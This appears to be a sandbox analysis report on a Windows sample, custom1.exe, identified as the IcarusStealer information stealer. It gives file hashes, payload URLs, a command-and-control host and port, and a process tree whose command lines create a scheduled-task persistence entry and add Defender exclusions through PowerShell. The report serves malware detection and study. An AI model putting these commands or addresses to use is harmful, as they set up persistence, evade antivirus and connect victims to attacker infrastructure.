Overview

overview

10

Static

static

3

custom1.exe

windows7-x64

10

custom1.exe

windows10-2004-x64

10

Resubmissions

09/03/2024, 09:55

240309-lx3qwsef83 10

09/03/2024, 09:49

240309-ltvk4sef73 10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/03/2024, 09:49

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    custom1.exe

  • Size

    24.9MB

  • MD5

    4e1c29f0c1af62ddea916c6b80548c76

  • SHA1

    38d9f15356b6a65f4e76ee739867d55b01493793

  • SHA256

    13b863f0e32c4e25af5b2e323bddf6ea7f8fde1c3dc53bbc463d5a0e9c666882

  • SHA512

    f863e54437a36b53f91057f74bdbfcaed90c93256333afe978be5f7b73b417a74084d3a92afe4b6ceea96fd909997cf22b30612c43d6d0d27c64c0bba7db9c28

  • SSDEEP

    49152:lfRW10dDWeHzJhNF/CBpOqqUe00zCMe8KfFo:lfw1yaeHLNF/22UwCL8yF

Score
10/10
icarusstealerpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\custom1.exe
    "C:\Users\Admin\AppData\Local\Temp\custom1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$SXR" /tr '"C:\Windows\System32\CatRoot\$SXR\$SXR.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4172
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "$SXR" /tr '"C:\Windows\System32\CatRoot\$SXR\$SXR.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:2284
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp52A4.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          4⤵
            PID:4488
          • C:\Windows\SysWOW64\timeout.exe
            timeout 3
            4⤵
            • Delays execution with timeout.exe
            PID:2160
          • C:\Windows\System32\CatRoot\$SXR\$SXR.exe
            "C:\Windows\System32\CatRoot\$SXR\$SXR.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:5672
      • C:\Users\Admin\AppData\Local\Temp\switched.exe
        "C:\Users\Admin\AppData\Local\Temp\switched.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
          "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:4760
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3688
            • C:\Windows\system32\certutil.exe
              certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5
              5⤵
                PID:3428
              • C:\Windows\system32\find.exe
                find /i /v "md5"
                5⤵
                  PID:1356
                • C:\Windows\system32\find.exe
                  find /i /v "certutil"
                  5⤵
                    PID:1040
              • C:\Users\Admin\AppData\Local\Temp\tesetey.exe
                "C:\Users\Admin\AppData\Local\Temp\tesetey.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4792
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ohkksaqq\ohkksaqq.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1924
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3EAF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE0F196F8534843A7BC9B739BCB42C3.TMP"
                    5⤵
                      PID:1768
                  • C:\Windows\explorer.exe
                    "C:\Windows\explorer.exe"
                    4⤵
                    • Modifies Installed Components in the registry
                    • Enumerates connected drives
                    • Checks SCSI registry key(s)
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:708
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 vUiuCXqqM
                    4⤵
                      PID:3624
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 vUiuCXqqM
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3312
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:232
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                          6⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4908
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3780
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
                          6⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4692
              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                1⤵
                • Suspicious use of SetWindowsHookEx
                PID:1644
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:1540
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:5772
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:3616
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:5224
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:5708
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                  PID:6036

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                  Filesize

                  2KB

                  MD5

                  968cb9309758126772781b83adb8a28f

                  SHA1

                  8da30e71accf186b2ba11da1797cf67f8f78b47c

                  SHA256

                  92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                  SHA512

                  4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  16KB

                  MD5

                  09119e0d274f884a6c472eb32821b5a1

                  SHA1

                  3d1a0b518e0f757288014c9c93f95332d75d1a01

                  SHA256

                  e5725d6f7290a419a42afce438614f14f652e07e3ec685aef05ec9f7e4608f19

                  SHA512

                  a2d562bc16240d2c0b76cc8318277c50eabdfe69593220f4081222a00685b915033e3c3734388eff31ad5c506f2835966c0a5cd1de4b579bcc4581089b0927e1

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Office_SETLANG_EXE_15
                  Filesize

                  36KB

                  MD5

                  0e2a09c8b94747fa78ec836b5711c0c0

                  SHA1

                  92495421ad887f27f53784c470884802797025ad

                  SHA256

                  0c1cdbbf6d974764aad46477863059eaec7b1717a7d26b025f0f8fe24338bb36

                  SHA512

                  61530a33a6109467962ba51371821ea55bb36cd2abc0e7a15f270abf62340e9166e66a1b10f4de9a306b368820802c4adb9653b9a5acd6f1e825e60128fd2409

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Windows_ControlPanel
                  Filesize

                  36KB

                  MD5

                  fb5f8866e1f4c9c1c7f4d377934ff4b2

                  SHA1

                  d0a329e387fb7bcba205364938417a67dbb4118a

                  SHA256

                  1649ec9493be27f76ae7304927d383f8a53dd3e41ea1678bacaff33120ea4170

                  SHA512

                  0fbe2843dfeab7373cde0643b20c073fdc2fcbefc5ae581fd1656c253dfa94e8bba4d348e95cc40d1e872456ecca894b462860aeac8b92cedb11a7cad634798c

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\1SA07OI6\microsoft.windows[1].xml
                  Filesize

                  97B

                  MD5

                  fb9854a5b056cc3d006b38bf0eab1b7c

                  SHA1

                  0a2b0432e2e9938be1f652c2247827e47b265f44

                  SHA256

                  3d454d15255bb82fb8a4cfa40ea848af32395be899aaaf83b6d626a814aa21c2

                  SHA512

                  20366182bf5a658b19e3df4eef2fa4e484bdcecc85a893834fbcb2b0ab64100a7694c3dbbdf1597bf3e3a747ede6fe7b81aab5f07653ef40a515edbef90ed00d

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\Client.exe
                  Filesize

                  3.4MB

                  MD5

                  d19e689e8c73a4b8bb905c82d4aa41ca

                  SHA1

                  dde2e907af22d024ba9a30d4087e4eb1937ee0aa

                  SHA256

                  1c54000fa50c0dea880a7cc190fddd3784eb0c9d81cc53e4e8a8693f2d885274

                  SHA512

                  8ff646696cf3650f39c3111e2bb04b241c0d9d69309b23d77b71cfb9027ebcb01d97fcb8ce0ef20ba66f1ac521391794f686248abeee9b89f71e96c9a727eeeb

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\Client.exe
                  Filesize

                  8.1MB

                  MD5

                  afecb7b0a1c345e92ccea33a5539942b

                  SHA1

                  e466146297762672e04b3f375d5d6223c3e6ffdb

                  SHA256

                  d6cbdefb8ddda5f3b53ff47b2646c1f70fd5e65d9952a299a66d994c5379d2cd

                  SHA512

                  a6dce34573afc6efea9969782a8f669bac07110420dc2cb03c2080fa5c98f7934352f90e94e0adaead0acdcfb2cbdf7de541cc2ce26bf141e43f4f4e4edfa237

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\Client.exe
                  Filesize

                  2.8MB

                  MD5

                  6771bbacb3a5b0422ff37cd82f7e737f

                  SHA1

                  e149f23af3f47c766d7ca556162927f67367dedb

                  SHA256

                  79ddd35bddb0028affba53d59e4f878c28175f07a035af4cdc9ec35b62d2177c

                  SHA512

                  33ee2618bae5a04cb33042d2f6cb2a71ee79d52efdb6627854ac6953a82322791aed1eb519862e8018ac0e4d87c6e05039b841b4c5433c81538bc4fdd0f9fd42

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\RES3EAF.tmp
                  Filesize

                  1KB

                  MD5

                  adf3c860323768ba6addd75c1190428b

                  SHA1

                  d7c9279a4b368ebbc69fea22c1477cd981cd8f82

                  SHA256

                  d91c3db29930633ff7dd844c1a2291a188cedab116ece97ca603f0adf7568436

                  SHA512

                  a8fbf1b8a68af80b9c773d12ff9a1d6ea889f694c9178cb6ccbb166e6765ab5714e2c0ce9403eb030039900abe04c4e76a69d5621d3dffd2d126246feedc3841

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yv2ghodx.ihd.ps1
                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
                  Filesize

                  1.7MB

                  MD5

                  f74bfea1defaa072e3984a0e8408e8a1

                  SHA1

                  e9adcdc573b5e565f6a61235c32052c4f7bee034

                  SHA256

                  ecf4c200a70de58f12c2115a9a5caf377f5870f5f31fe9ef00c41b26de79e138

                  SHA512

                  a08400ff96eee56e8185a262970accbabc4e6b33fec472cc6e02a7cdf3e086673e0d95ad32420b3994ee8eac572d517af990ee2d9e319298af889c6996793552

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
                  Filesize

                  2.4MB

                  MD5

                  ab5a98bfcf808971e225335317b41175

                  SHA1

                  41e61759c5813385f3b611045733f8c5f13fc53f

                  SHA256

                  2051d720b29d1c145bd067cef1744cf8ddec9e5bb0679bae9cd0aad900ab0be7

                  SHA512

                  20122d565eae51feab6880beb0ec50cfa92c649e46555aa128cf1e0d9fd8cf4938084a31d9732c5e6c706bf1115809a6f3911cf88074c01a9082e30632349896

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
                  Filesize

                  2.1MB

                  MD5

                  92359211fdea250a4154536ece9be1d9

                  SHA1

                  0960f63073acb6f78410cf035718dda97fb5886c

                  SHA256

                  5e7a406e21efa3fe5e19ea78095c0f7c0cd2e01db7002c761983d9514a6624bd

                  SHA512

                  52abb47c9ec69ba8e65a2d6b083bac6b3701d3679e8f849ca94e75ab6e02b820e11c204b6dc0afd79df1043e517636ed7e9c592a9d9c83cc0261061239130487

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\switched.exe
                  Filesize

                  3.2MB

                  MD5

                  438196ac4f54334d7d8edac223534106

                  SHA1

                  3280e0a548f2b9881db967387fa02db2c7d50ccd

                  SHA256

                  70b0defb79adbe461339f0d9ff665500cade9af4dc57fdaf79c4aca3fcf27394

                  SHA512

                  43cfc88e60274f8eecd978532c40e84360d2601d95d674580f4201b87807d973910997f2031aa05f930c8415730f10fcf6729c486b27665accd3ea1e89da53ee

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\switched.exe
                  Filesize

                  2.5MB

                  MD5

                  4c6ccdae60f9134b068f53a760b7153c

                  SHA1

                  79b1fe09c70e76a9145e50ce5b998a3f952a8121

                  SHA256

                  45ebfa6b7f98b05061803eea4df6ef23efb011a859c3d3ad1f682fdab3b5db98

                  SHA512

                  ca943e6bf88d92600cae8b5fff46bcbe4ea473496a5d42b243fceaddc0e7689e29e8a88f728c004efc0a785926291e3ebef7785e99574b0696c65cea6dbc183f

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\switched.exe
                  Filesize

                  3.1MB

                  MD5

                  fb00f94395d4df2d1ea754a477ac7203

                  SHA1

                  53160f147cd5c6f6bb83cf8246413954ea023956

                  SHA256

                  58fca1b4679ff8bdcf69e0fbe0cd98ea83b150b06f696c6c6ea14a3c33f216d5

                  SHA512

                  15d0dfa0e17197be4a919711c8c57993f25bceecaf72d82d6a959d480ee805de1be3c75234e84c0bb977a280fe6e3b6ae0a8c7a2033398ad5176eaef16340766

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\tesetey.exe
                  Filesize

                  494KB

                  MD5

                  0f0838bc6642dd6bc603368e50b4aba3

                  SHA1

                  932bd4d1c11996bf8ac3ac74a94b266e96d44c36

                  SHA256

                  4acfa7fccfdd11c17fbb2e7a861683f749cbf6420f0d83d484a6024ff280a7a9

                  SHA512

                  a39605eaa160d4f918393c600d42873f2e6bfb54506edfbe590aac0f75d12b4aa66ff91192c0522c235695a9c6b95cd2dbe308b548b5f121ca6b6b7696029860

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\tmp52A4.tmp.bat
                  Filesize

                  150B

                  MD5

                  dd33fc7aad8aaa278c9566d31d353828

                  SHA1

                  45799fb99e1006b02b6489193d39f96c4b301d26

                  SHA256

                  adc1dbdb3c07e0a9feea1bb4c5d6ec9b41bfda07a06641b0b4a584668fd3d47e

                  SHA512

                  4a35cec4fbe080ebcd1417b55154e7737f56bbba301a4f72fd1dcae83f1585b4632f0a6b16b6142c3e618dad1ae0cfc6e4ffe5221616a869f4128ce587ae6068

                  Download Submit

                • C:\Windows\System32\CatRoot\$SXR\$SXR.exe
                  Filesize

                  1.1MB

                  MD5

                  d014386d037f7745095018c780f25cb4

                  SHA1

                  80252e43c92c944e7966ff84c3a686d523313e38

                  SHA256

                  2502eef92d33f5a13193956a561fe498426528706e4f24ce44ebcdb1115b32c4

                  SHA512

                  24f6c6b369eb4a886d9165b7b9b75a37e2166d8d4edd8ac29fa2ef651035dcc207984f82ddc706f38778e3172cb5f68c709c33f6c31d8f0b131348a1328aa275

                  Download Submit

                • C:\Windows\System32\CatRoot\$SXR\$SXR.exe
                  Filesize

                  320KB

                  MD5

                  c078987bc8b25753b93cd1bb0d81ef19

                  SHA1

                  90f9c3b5aa9d4ea9b661d53bb56759410aa9df65

                  SHA256

                  d2a641d74eb8811e78a8bfd8dc1cde7aa56d3ff08a8e2b585e4b6faae79a3023

                  SHA512

                  33547898d5ccc4138541f6874c30d8e220f84b58eef9ef58bac268271c1b6bc284eb25387d396f8c3c2003006c993a8ce9b728f21b1089f8872cb26025363f0c

                  Download Submit

                • C:\Windows\System32\CatRoot\$SXR\Read.txt
                  Filesize

                  58B

                  MD5

                  79668a6729f0f219835c62c9e43b7927

                  SHA1

                  0cbbc7cc8dbd27923b18285960640f3dad96d146

                  SHA256

                  6f5747973e572dc3ec0ae4fd9eaf57263abb01c36b35fcddf96e89208b16496e

                  SHA512

                  bc3895b46db46617315ffaa2ec5e2b44b06e1d4921834be25e1b60b12f2fba900f0f496070eb9f362952abcfa0b3b359bf1ced7da5ec0db63541e0977e6ea4e3

                  Download Submit

                • \??\c:\Users\Admin\AppData\Local\Temp\CSCE0F196F8534843A7BC9B739BCB42C3.TMP
                  Filesize

                  1KB

                  MD5

                  8cb2d1f69e2730b5de634f6b6c12005f

                  SHA1

                  1f9496195f09f58a4e382994717a5da34086d770

                  SHA256

                  f5d616663ac61dc843c8663f2ceaaf6939b974ffd74e6e1be232b3fe8c6667ea

                  SHA512

                  d035c16a8d8f09abedc94e10d46983e371d2862b277128fe00184d3a1cbb8a69367c08e150c63b07729938bea6644af4e3913e629969d38978b0d934e9e61eda

                  Download Submit

                • \??\c:\Users\Admin\AppData\Local\Temp\ohkksaqq\ohkksaqq.0.cs
                  Filesize

                  1KB

                  MD5

                  14846c9faaef9299a1bf17730f20e4e6

                  SHA1

                  8083da995cfaa0e8e469780e32fcff1747850eb6

                  SHA256

                  61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

                  SHA512

                  549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

                  Download Submit

                • \??\c:\Users\Admin\AppData\Local\Temp\ohkksaqq\ohkksaqq.cmdline
                  Filesize

                  455B

                  MD5

                  7e2ac2271c11f0a3824e13f02db9b1bb

                  SHA1

                  187502ed359abb00aa52cc162cbb0eb12e3390f2

                  SHA256

                  53ad12d0622b4d194704f3d91383627e8b027c3fbff1b8bc0ca597ed1b9747e4

                  SHA512

                  05c8e7f64a98cc34876f0e207953db71332982927f9b68acfc945533ef9c198d6613ba3e85375f1a0bb9589286f37460729a3f9f5ad8c682b059e4a211b82241

                  Download Submit

                • memory/708-154-0x0000000002FA0000-0x0000000002FA1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1540-152-0x0000020901050000-0x0000020901070000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/1540-151-0x0000020900C40000-0x0000020900C60000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/1540-149-0x0000020900C80000-0x0000020900CA0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3312-60-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/3312-175-0x0000000004E00000-0x0000000004E10000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/3312-59-0x0000000000400000-0x0000000000424000-memory.dmp

                  Filesize

                  144KB

                  Download

                • memory/3312-61-0x0000000004E00000-0x0000000004E10000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/3312-118-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/3616-214-0x0000024933DD0000-0x0000024933DF0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3616-212-0x00000249339C0000-0x00000249339E0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3616-209-0x0000024933A00000-0x0000024933A20000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4496-99-0x0000000005140000-0x0000000005162000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/4496-21-0x00000000001E0000-0x0000000000820000-memory.dmp

                  Filesize

                  6.2MB

                  Download

                • memory/4496-20-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4496-138-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4496-94-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4692-143-0x0000000007A00000-0x0000000007A11000-memory.dmp

                  Filesize

                  68KB

                  Download

                • memory/4692-68-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4692-97-0x00000000064D0000-0x00000000064EE000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/4692-101-0x00000000074C0000-0x00000000074F2000-memory.dmp

                  Filesize

                  200KB

                  Download

                • memory/4692-102-0x000000006FF80000-0x000000006FFCC000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/4692-103-0x000000007FA40000-0x000000007FA50000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4692-114-0x0000000006A40000-0x0000000006A5E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/4692-115-0x0000000005020000-0x0000000005030000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4692-116-0x0000000007570000-0x0000000007613000-memory.dmp

                  Filesize

                  652KB

                  Download

                • memory/4692-104-0x0000000005020000-0x0000000005030000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4692-166-0x0000000007B30000-0x0000000007B4A000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/4692-69-0x0000000005020000-0x0000000005030000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4692-93-0x0000000005FF0000-0x0000000006344000-memory.dmp

                  Filesize

                  3.3MB

                  Download

                • memory/4692-164-0x0000000007A30000-0x0000000007A3E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/4692-74-0x0000000005E80000-0x0000000005EE6000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/4692-131-0x0000000007EA0000-0x000000000851A000-memory.dmp

                  Filesize

                  6.5MB

                  Download

                • memory/4692-132-0x0000000007540000-0x000000000755A000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/4692-71-0x0000000005020000-0x0000000005030000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4692-139-0x0000000007880000-0x000000000788A000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/4692-141-0x0000000007A70000-0x0000000007B06000-memory.dmp

                  Filesize

                  600KB

                  Download

                • memory/4692-73-0x00000000055A0000-0x0000000005606000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/4692-174-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4692-98-0x0000000006AE0000-0x0000000006B2C000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/4760-39-0x00007FF73E4E0000-0x00007FF73E91C000-memory.dmp

                  Filesize

                  4.2MB

